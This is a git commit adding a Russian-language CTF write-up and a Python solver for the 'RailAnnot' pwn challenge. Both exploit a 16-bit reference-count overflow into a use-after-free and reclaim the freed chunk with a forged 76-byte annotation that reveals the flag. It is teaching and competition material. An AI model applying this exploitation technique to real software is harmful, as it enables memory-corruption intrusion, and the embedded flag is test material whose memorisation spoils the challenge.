Init. Commit

finals/railannot-pwn-medium/WRITEUP.md

@@ -0,0 +1,42 @@
+<h1 align="center">RailAnnot</h1>
+
+<p align="center">
+  <img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
+  <img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
+</p>
+
+RailAnnot обрабатывает служебные аннотации PDF-нарядов. В раздатке есть ELF `railannot`. У объекта аннотации 16-битный счётчик ссылок, а у страницы — отдельный указатель на него. Если счётчик обнулится при переполнении, объект освободится, но указатель страницы продолжит ссылаться на него.
+
+## Решение
+
+Создаём аннотацию через `1) load annotation`: `refs = 1`. Затем `2) attach annotation to page` добавляет вторую ссылку, и `refs` становится равен `2`.
+
+Пункт `3) replay stream references` прибавляет произвольное `n`:
+
+```c
+ann->refs = (uint16_t)(ann->refs + n);
+```
+
+При нуле объект освобождается, но `page_ref` не обнуляется. Передаём `65534` и получаем `2 + 65534 = 65536`, что в `uint16_t` превращается в `0`. Аннотация удалена, страница продолжает держать висячий указатель.
+
+В `4) allocate replacement cache object` выделяется блок того же размера. Заполняем его поддельной аннотацией:
+
+```python
+import struct
+
+payload = struct.pack("<HHI", 0, 7, 0x414e4e52)
+payload += b"sealed depot note".ljust(64, b"\x00")
+payload += struct.pack("<I", 0x5241494c)
+```
+
+Первые два поля — `refs` и `id`, затем `magic`, 64 байта текста и `sealed`. Размер получается 76 байт, а `sealed` стоит на смещении `72`.
+
+Выбираем `4) allocate replacement cache object`. На запрос `replacement bytes:` отправляем строку `76`, затем на `payload:` передаём 76 байт поддельной аннотации без добавленного перевода строки.
+
+Освобождённый блок переиспользуется, и `page_ref` указывает на поддельную структуру. При выборе `5) render sealed annotation` сервис проверяет поля `magic` и `sealed`. Они содержат ожидаемые значения, поэтому сервис выводит флаг.
+
+[Солвер](solve/solve.py).
+
+## Флаг
+
+`caplag{annotation_refcount_wrapped_into_the_depot_note}`

finals/railannot-pwn-medium/solve/solve.py

@@ -0,0 +1,61 @@
+#!/usr/bin/env python3
+import argparse
+import os
+import socket
+import struct
+import subprocess
+import sys
+
+class Tube:
+    def __init__(self, sock=None, proc=None):
+        self.sock = sock
+        self.proc = proc
+    def recv(self, n=4096):
+        if self.sock:
+            return self.sock.recv(n)
+        return os.read(self.proc.stdout.fileno(), n)
+    def send(self, data):
+        if self.sock:
+            self.sock.sendall(data)
+        else:
+            os.write(self.proc.stdin.fileno(), data)
+    def sendline(self, data):
+        self.send(data + b"\n")
+    def recvuntil(self, marker):
+        out = b""
+        while marker not in out:
+            chunk = self.recv(1)
+            if not chunk:
+                raise EOFError(out)
+            out += chunk
+        return out
+
+def symbol_value(binary, name):
+    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
+    for line in out.splitlines():
+        fields = line.split()
+        if len(fields) >= 8 and fields[-1] == name:
+            return int(fields[1], 16)
+    raise RuntimeError(f"symbol not found: {name}")
+
+def connect(args):
+    if args.local:
+        env = os.environ.copy()
+        env["CTF_FLAG"] = args.flag
+        proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
+        return Tube(proc=proc)
+    return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
+
+def choose(io, value):
+    io.recvuntil(b">")
+    io.sendline(str(value).encode())
+
+ANN_MAGIC=0x414e4e52
+ANN_SEALED=0x5241494c
+def main():
+    p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31343); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/railannot"); p.add_argument("--flag",default="caplag{annotation_refcount_wrapped_into_the_depot_note}"); args=p.parse_args()
+    io=connect(args); choose(io,1); choose(io,2); choose(io,3); io.recvuntil(b"repeat count:"); io.sendline(b"65534")
+    payload=struct.pack("<HHI",0,7,ANN_MAGIC)+b"sealed depot note".ljust(64,b"\x00")+struct.pack("<I",ANN_SEALED)
+    choose(io,4); io.recvuntil(b"replacement bytes:"); io.sendline(str(len(payload)).encode()); io.recvuntil(b"payload:"); io.send(payload)
+    choose(io,5); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
+if __name__=="__main__": sys.exit(main())